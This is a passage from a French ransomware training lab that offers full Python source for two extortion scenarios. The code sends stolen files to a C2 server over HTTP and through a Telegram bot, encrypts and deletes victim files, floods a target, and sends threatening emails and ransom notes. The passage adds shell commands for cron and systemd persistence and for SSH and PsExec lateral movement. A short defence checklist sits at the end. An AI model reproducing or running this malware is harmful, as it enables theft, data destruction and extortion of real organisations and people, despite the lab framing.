        with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
            for filepath in chunk:
                zf.write(filepath, arcname=os.path.basename(filepath))
        zip_buffer.seek(0)
        files = {'file': ('chunk.zip', zip_buffer, 'application/zip')}
        try:
            response = requests.post(f"{CONFIG['C2_URL']}/upload.php", files=files, timeout=5)
            if response.status_code == 200:
                logging.info(f"Lot {i//CONFIG['CHUNK_SIZE']+1} exfiltré.")
            else:
                logging.error(f"Erreur exfiltration: {response.status_code}")
        except Exception as e:
            logging.error(f"Erreur réseau: {e}")
        time.sleep(2)

def encrypt_file(filepath, key):
    iv = os.urandom(16)
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()
    with open(filepath, 'rb') as f:
        plaintext = f.read()
    pad_len = 16 - (len(plaintext) % 16)
    plaintext += bytes([pad_len]) * pad_len
    ciphertext = encryptor.update(plaintext) + encryptor.finalize()
    encrypted_path = filepath + '.encrypted'
    with open(encrypted_path, 'wb') as f:
        f.write(iv + ciphertext)
    os.remove(filepath)
    logging.info(f"Chiffré: {filepath}")

def simulate_ddos(target_ip, duration=30, requests_per_sec=50):
    """Simulation très légère de DDoS à des fins pédagogiques."""
    def flood():
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        bytes_data = b"GET / HTTP/1.1\r\nHost: {}\r\n\r\n".format(target_ip).encode()
        timeout = time.time() + duration
        while time.time() < timeout:
            try:
                sock.sendto(bytes_data, (target_ip, 80))
            except:
                pass
    for _ in range(requests_per_sec // 10):  # 10 threads = ~50 req/s
        t = threading.Thread(target=flood)
        t.daemon = True
        t.start()
    time.sleep(duration)
    logging.info(f"Simulation DDoS terminée vers {target_ip}")

def send_harassment_emails(sensitive_files):
    """Envoie des emails de harcèlement aux parties prenantes factices."""
    targets = ['contact@partenaire.fr', 'client@example.com']
    for target in targets:
        msg = MIMEText(f"Nous avons des données vous concernant: {sensitive_files[:2]}. Payez pour éviter la fuite.")
        msg['Subject'] = 'Urgent: données volées'
        msg['From'] = 'attacker@onion.com'
        msg['To'] = target
        try:
            # Utiliser un serveur SMTP factice (netcat listener ou null)
            s = smtplib.SMTP('192.168.100.30', 25)  # à adapter si vous avez un serveur SMTP
            s.send_message(msg)
            s.quit()
            logging.info(f"Email de harcèlement envoyé à {target}")
        except Exception as e:
            logging.error(f"SMTP failed: {e}")

def walk_and_infect():
    if os.path.exists(CONFIG['INFECTED_FLAG']):
        logging.warning("Déjà infecté")
        return 0, []

    sensitive_files = []
    all_files = []
    for target_dir in CONFIG['TARGET_DIRS']:
        if not os.path.exists(target_dir):
            continue
        for root, dirs, files in os.walk(target_dir):
            for file in files:
                if file.endswith(CONFIG['EXTENSIONS']):
                    fullpath = os.path.join(root, file)
                    all_files.append(fullpath)
                    if is_sensitive(fullpath):
                        sensitive_files.append(fullpath)

    if sensitive_files:
        exfiltrate_files(sensitive_files)
        # Lancer le DDoS vers le site principal (VM1)
        simulate_ddos('192.168.100.10')
        # Envoyer des emails de harcèlement
        send_harassment_emails(sensitive_files)

    key = os.urandom(32)
    for filepath in all_files:
        try:
            encrypt_file(filepath, key)
        except Exception as e:
            logging.error(f"Erreur chiffrement {filepath}: {e}")

    with open(CONFIG['KEY_FILE'], 'wb') as f:
        f.write(key)
    open(CONFIG['INFECTED_FLAG'], 'w').close()
    return len(all_files), sensitive_files

def drop_note(count, sensitive_files):
    publish_at = int(time.time()) + 48*3600
    note = f"""
    🔐 VOS FICHIERS SONT CHIFFRÉS ET VOS DONNÉES ONT ÉTÉ VOLÉES !
    {count} fichiers sont inaccessibles.
    De plus, nous avons exfiltré {len(sensitive_files)} documents sensibles.
    Preuve : visitez {CONFIG['C2_URL']}/leak/
    Nous avons également lancé une attaque DDoS contre votre site principal (simulée) et informé vos partenaires.
    Pour éviter la publication et récupérer vos fichiers, envoyez 1 Bitcoin à bc1q...
    Vous avez 48 heures. Les données seront publiées le {time.ctime(publish_at)}.
    """
    for target_dir in CONFIG['TARGET_DIRS']:
        try:
            with open(os.path.join(target_dir, 'README.txt'), 'w') as f:
                f.write(note)
        except:
            pass

if __name__ == '__main__':
    if '--dry-run' in sys.argv:
        print("Dry-run")
        sys.exit(0)
    if '--clean' in sys.argv:
        for target_dir in CONFIG['TARGET_DIRS']:
            for root, _, files in os.walk(target_dir):
                for f in files:
                    if f.endswith('.encrypted') or f == 'README.txt':
                        os.remove(os.path.join(root, f))
        for f in [CONFIG['KEY_FILE'], CONFIG['INFECTED_FLAG'], CONFIG['LOG_FILE']]:
            if os.path.exists(f):
                os.remove(f)
        print("Nettoyé.")
        sys.exit(0)
    total, sens = walk_and_infect()
    if total > 0:
        drop_note(total, sens)
        print(f"Infection terminée. {len(sens)} fichiers sensibles exfiltrés, DDoS simulé, emails envoyés.")
    else:
        print("Aucun fichier ou déjà infecté.")
🔍 Explication et déploiement du scénario 4 :
Ce scénario combine exfiltration, chiffrement, DDoS et harcèlement (triple extorsion). Les fichiers sensibles sont détectés par mots-clés, compressés par lots et envoyés au C2 via HTTP. Ensuite, une simulation de DDoS est lancée contre le site principal (VM1) pour faire pression, et des emails de harcèlement sont envoyés à des destinataires factices. Enfin, les fichiers sont chiffrés avec une clé AES unique.
Déploiement : Sur VM3, créez un script upload.php pour recevoir les fichiers (exemple simple : déplacer les fichiers dans un répertoire). Sur VM1, exécutez le script. Pour les emails, vous pouvez installer un serveur SMTP factice (ex: python3 -m smtpd -c DebuggingServer -n localhost:25) pour observer les messages.
Étude pratique : Observez les fichiers exfiltrés sur le C2, surveillez le trafic DDoS avec tcpdump, et vérifiez les logs des emails. Analysez l'impact sur la charge CPU et réseau. Testez la restauration après paiement fictif en utilisant la clé sauvegardée.

📤 Scénario 5 : Pure Extortion – Exfiltration sans chiffrement

Ce ransomware n'effectue aucun chiffrement. Il se contente d'exfiltrer les fichiers sensibles vers le C2 (via HTTP ou Telegram) et menace de les publier si la rançon n'est pas payée. Cette technique est en forte hausse car elle évite les détections basées sur le chiffrement.

Fonctionnalités : dry-run, clean, logging, détection de fichiers sensibles, exfiltration par lots HTTP, option Telegram (à configurer), note avec timer de publication.

#!/usr/bin/env python3
# ransomware_pure_extortion.py
import os
import sys
import requests
import zipfile
import io
import time
import logging
import glob

CONFIG = {
    'C2_URL': 'http://192.168.100.30/c2',
    'TARGET_DIRS': ['/var/www/html/wordpress', '/var/www/html/site'],
    'EXTENSIONS': ('.docx', '.xlsx', '.pdf', '.txt', '.jpg', '.sql'),
    'SENSITIVE_KEYWORDS': ['cv', 'contrat', 'confidentiel', 'salaire', 'budget', 'client', 'passwd', 'backup'],
    'CHUNK_SIZE': 5,
    'TELEGRAM_TOKEN': 'VOTRE_TOKEN',  # optionnel : utiliser Telegram
    'TELEGRAM_CHAT_ID': 'CHAT_ID',
    'INFECTED_FLAG': '/tmp/pure_extortion.flag',
    'LOG_FILE': '/tmp/pure_extortion.log'
}

logging.basicConfig(filename=CONFIG['LOG_FILE'], level=logging.INFO,
                    format='%(asctime)s - %(levelname)s - %(message)s')

def is_sensitive(filepath):
    name = os.path.basename(filepath).lower()
    if any(kw in name for kw in CONFIG['SENSITIVE_KEYWORDS']):
        return True
    # Détection basique de fichiers contenant des mots-clés sensibles
    try:
        if os.path.getsize(filepath) < 500000:
            with open(filepath, 'rb') as f:
                content = f.read().lower()
                if b'password' in content or b'confidential' in content:
                    return True
    except:
        pass
    return False

def exfiltrate_via_telegram(file_list):
    """Exfiltration via bot Telegram (très utilisé en 2026)"""
    for i in range(0, len(file_list), CONFIG['CHUNK_SIZE']):
        chunk = file_list[i:i+CONFIG['CHUNK_SIZE']]
        zip_buffer = io.BytesIO()
        with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
            for filepath in chunk:
                zf.write(filepath, arcname=os.path.basename(filepath))
        zip_buffer.seek(0)
        files = {'document': ('chunk.zip', zip_buffer, 'application/zip')}
        url = f"https://api.telegram.org/bot{CONFIG['TELEGRAM_TOKEN']}/sendDocument"
        data = {'chat_id': CONFIG['TELEGRAM_CHAT_ID']}
        try:
            response = requests.post(url, data=data, files=files, timeout=10)
            if response.status_code == 200:
                logging.info(f"Lot {i//CONFIG['CHUNK_SIZE']+1} exfiltré via Telegram.")
            else:
                logging.error(f"Telegram error: {response.status_code}")
        except Exception as e:
            logging.error(f"Telegram network error: {e}")
        time.sleep(2)

def exfiltrate_via_http(file_list):
    """Méthode HTTP classique (upload.php)"""
    for i in range(0, len(file_list), CONFIG['CHUNK_SIZE']):
        chunk = file_list[i:i+CONFIG['CHUNK_SIZE']]
        zip_buffer = io.BytesIO()
        with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
            for filepath in chunk:
                zf.write(filepath, arcname=os.path.basename(filepath))
        zip_buffer.seek(0)
        files = {'file': ('chunk.zip', zip_buffer, 'application/zip')}
        try:
            response = requests.post(f"{CONFIG['C2_URL']}/upload.php", files=files, timeout=5)
            if response.status_code == 200:
                logging.info(f"Lot {i//CONFIG['CHUNK_SIZE']+1} exfiltré via HTTP.")
            else:
                logging.error(f"HTTP upload error: {response.status_code}")
        except Exception as e:
            logging.error(f"HTTP network error: {e}")
        time.sleep(2)

def walk_and_exfiltrate():
    if os.path.exists(CONFIG['INFECTED_FLAG']):
        logging.warning("Déjà infecté")
        return 0

    sensitive_files = []
    for target_dir in CONFIG['TARGET_DIRS']:
        if not os.path.exists(target_dir):
            continue
        for root, dirs, files in os.walk(target_dir):
            for file in files:
                if file.endswith(CONFIG['EXTENSIONS']):
                    fullpath = os.path.join(root, file)
                    if is_sensitive(fullpath):
                        sensitive_files.append(fullpath)

    if not sensitive_files:
        logging.info("Aucun fichier sensible trouvé.")
        return 0

    # Exfiltration par défaut via HTTP
    exfiltrate_via_http(sensitive_files)
    # Option Telegram commentée (activer si vous avez un token)
    # exfiltrate_via_telegram(sensitive_files)

    open(CONFIG['INFECTED_FLAG'], 'w').close()
    return len(sensitive_files)

def drop_note(count):
    # Timer de publication (48h)
    publish_at = int(time.time()) + 48*3600
    note = f"""
    🔐 DONNÉES VOLÉES – AUCUN CHIFFREMENT
    Nous avons exfiltré {count} documents sensibles (contrats, budgets, données clients).
    Preuve : visitez {CONFIG['C2_URL']}/leak/ (mot de passe: proof)
    Pour éviter la publication et la revente de vos données, envoyez 1 Bitcoin à bc1q...
    Vous avez 48 heures. Les données seront publiées le {time.ctime(publish_at)}.
    """
    for target_dir in CONFIG['TARGET_DIRS']:
        try:
            with open(os.path.join(target_dir, 'README.txt'), 'w') as f:
                f.write(note)
        except:
            pass

if __name__ == '__main__':
    if '--dry-run' in sys.argv:
        print("Dry-run")
        sys.exit(0)
    if '--clean' in sys.argv:
        for target_dir in CONFIG['TARGET_DIRS']:
            for root, _, files in os.walk(target_dir):
                for f in files:
                    if f == 'README.txt':
                        os.remove(os.path.join(root, f))
        for f in [CONFIG['INFECTED_FLAG'], CONFIG['LOG_FILE']]:
            if os.path.exists(f):
                os.remove(f)
        print("Nettoyé.")
        sys.exit(0)
    total = walk_and_exfiltrate()
    if total > 0:
        drop_note(total)
        print(f"Exfiltration terminée. {total} fichiers sensibles envoyés.")
    else:
        print("Aucun fichier sensible ou déjà infecté.")
🔍 Explication et déploiement du scénario 5 :
Ce script illustre l'extorsion pure : pas de chiffrement, seulement l'exfiltration de données sensibles. Les fichiers sont sélectionnés par mots-clés et contenu, compressés par lots, puis envoyés au C2 via HTTP (ou Telegram si configuré). Une note de rançon menace de publier les données après un délai de 48h.
Déploiement : Sur VM3, mettez en place un script upload.php pour réceptionner les fichiers. Sur VM1 ou VM2, exécutez le script. Pour Telegram, créez un bot et renseignez le token et chat_id. Testez d'abord en mode dry-run.
Étude pratique : Vérifiez que les fichiers sont bien reçus sur le C2. Analysez les logs pour voir quels fichiers ont été jugés sensibles. Simulez un paiement en supprimant la menace (aucun déchiffrement nécessaire). Discutez de l'impact : l'absence de chiffrement rend la détection plus difficile mais la menace de fuite reste efficace.

🔄 Persistance et mouvement latéral avancés

Après une infection initiale, les attaquants cherchent à se maintenir et à se propager. Voici des techniques concrètes à ajouter à vos scénarios.

Persistance sous Linux

# Cron utilisateur (toutes les heures)
(crontab -l 2>/dev/null; echo "0 * * * * python3 /home/user/.cache/updater.py") | crontab -

# Service systemd (plus discret)
cat << EOF | sudo tee /etc/systemd/system/update.service
[Unit]
Description=Update Service
[Service]
ExecStart=/usr/bin/python3 /opt/update.py
Restart=always
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl enable update.service
sudo systemctl start update.service

Mouvement latéral vers les autres VMs

# Propagation via SSH (si clés volées ou mots de passe faibles)
sshpass -p 'password123' scp ransomware.py ubuntu@192.168.100.20:/tmp/
sshpass -p 'password123' ssh ubuntu@192.168.100.20 "python3 /tmp/ransomware.py"

# Propagation via SMB/PsExec (depuis une machine Windows du lab)
psexec \\\\192.168.100.20 -u Administrateur -p password123 -c ransomware.exe

🛡️ Stratégies de défense 2026

1. Détection LOTL

Surveiller PowerShell, schtasks, certutil, wevtutil, netsh via EDR (anomalies comportementales).

2. Blocage des exfiltrations cloud

Restreindre l'accès aux API Telegram, Discord, OneDrive non autorisées.

3. Honeytokens / canary files

Placer des fichiers leurres avec accès surveillé pour alerter en cas d'exfiltration.

4. Sauvegardes immuables air-gapped

Indispensables contre la destruction et l'extorsion.

5. Micro-segmentation

Empêcher le mouvement latéral entre serveurs (firewall interne).

6. Application Control

Interdire l'exécution dans les répertoires temporaires et utilisateurs.

7. MFA phishing-resistant

Passkeys, FIDO2 pour RDP et interfaces d'administration.

8. XDR/SOAR

Corrélation des alertes et réponse automatisée (isolement machine).

9. Détection d'exfiltration volumineuse

Surveiller les flux sortants anormaux vers l'étranger ou les clouds.

10. Plan de réponse incident

Inclure les scénarios de triple extorsion (communication, DDoS).

📊 Comparatif des 5 scénarios

ScénarioChiffrementExfiltrationMenace leakDDoS simuléHarcèlementDéchiffrement possible
1. BluffAES-256 uniqueNonNonNonNonAuto après 24h
2. DestructeurAES-256 uniqueNonNonNonNonOui si paiement
3. Commerce RSAAES par fichier + RSANonNonNonNonOui via C2
4. Triple extorsionAES-256 uniqueOui (lots HTTP)Oui (timer + leak progressif)Oui (simulé)Oui (emails)Oui (avec clé)
5. Pure ExtortionAucunOui (HTTP/Telegram)Oui (timer)NonNonSans objet

🔬 Exercices pour les apprenants

  1. Implémenter l'exfiltration via Telegram dans le scénario 4 (remplacer HTTP par Telegram).
  2. Ajouter une persistance via systemd dans le scénario 2.
  3. Simuler un mouvement latéral de VM1 vers VM2 en utilisant PsExec (avec wine ou une machine Windows).
  4. Créer un canary file (ex: /var/www/html/wordpress/canary.docx) et configurer auditd pour surveiller son accès.
  5. Dans le scénario 4, faire varier l'intensité du DDoS en fonction de la rançon non payée.
  6. Ajouter une option "--leak-now" dans le scénario 5 qui publie immédiatement les données sur un faux site leak.
  7. Utiliser certutil sous Windows (dans le lab) pour télécharger le ransomware Python depuis le C2.

🎯 Conclusion

Vous avez maintenant un laboratoire complet couvrant les tendances 2026 : triple extorsion, exfiltration pure, techniques LOTL, persistance, mouvement latéral. Ces scripts commentés vous permettent de comprendre les mécanismes offensifs pour mieux les défendre. N'oubliez jamais que ces outils doivent être utilisés uniquement dans un environnement isolé et avec une autorisation explicite.

Rappel : La meilleure défense reste la préparation : sauvegardes immuables, détection comportementale, et formation des utilisateurs.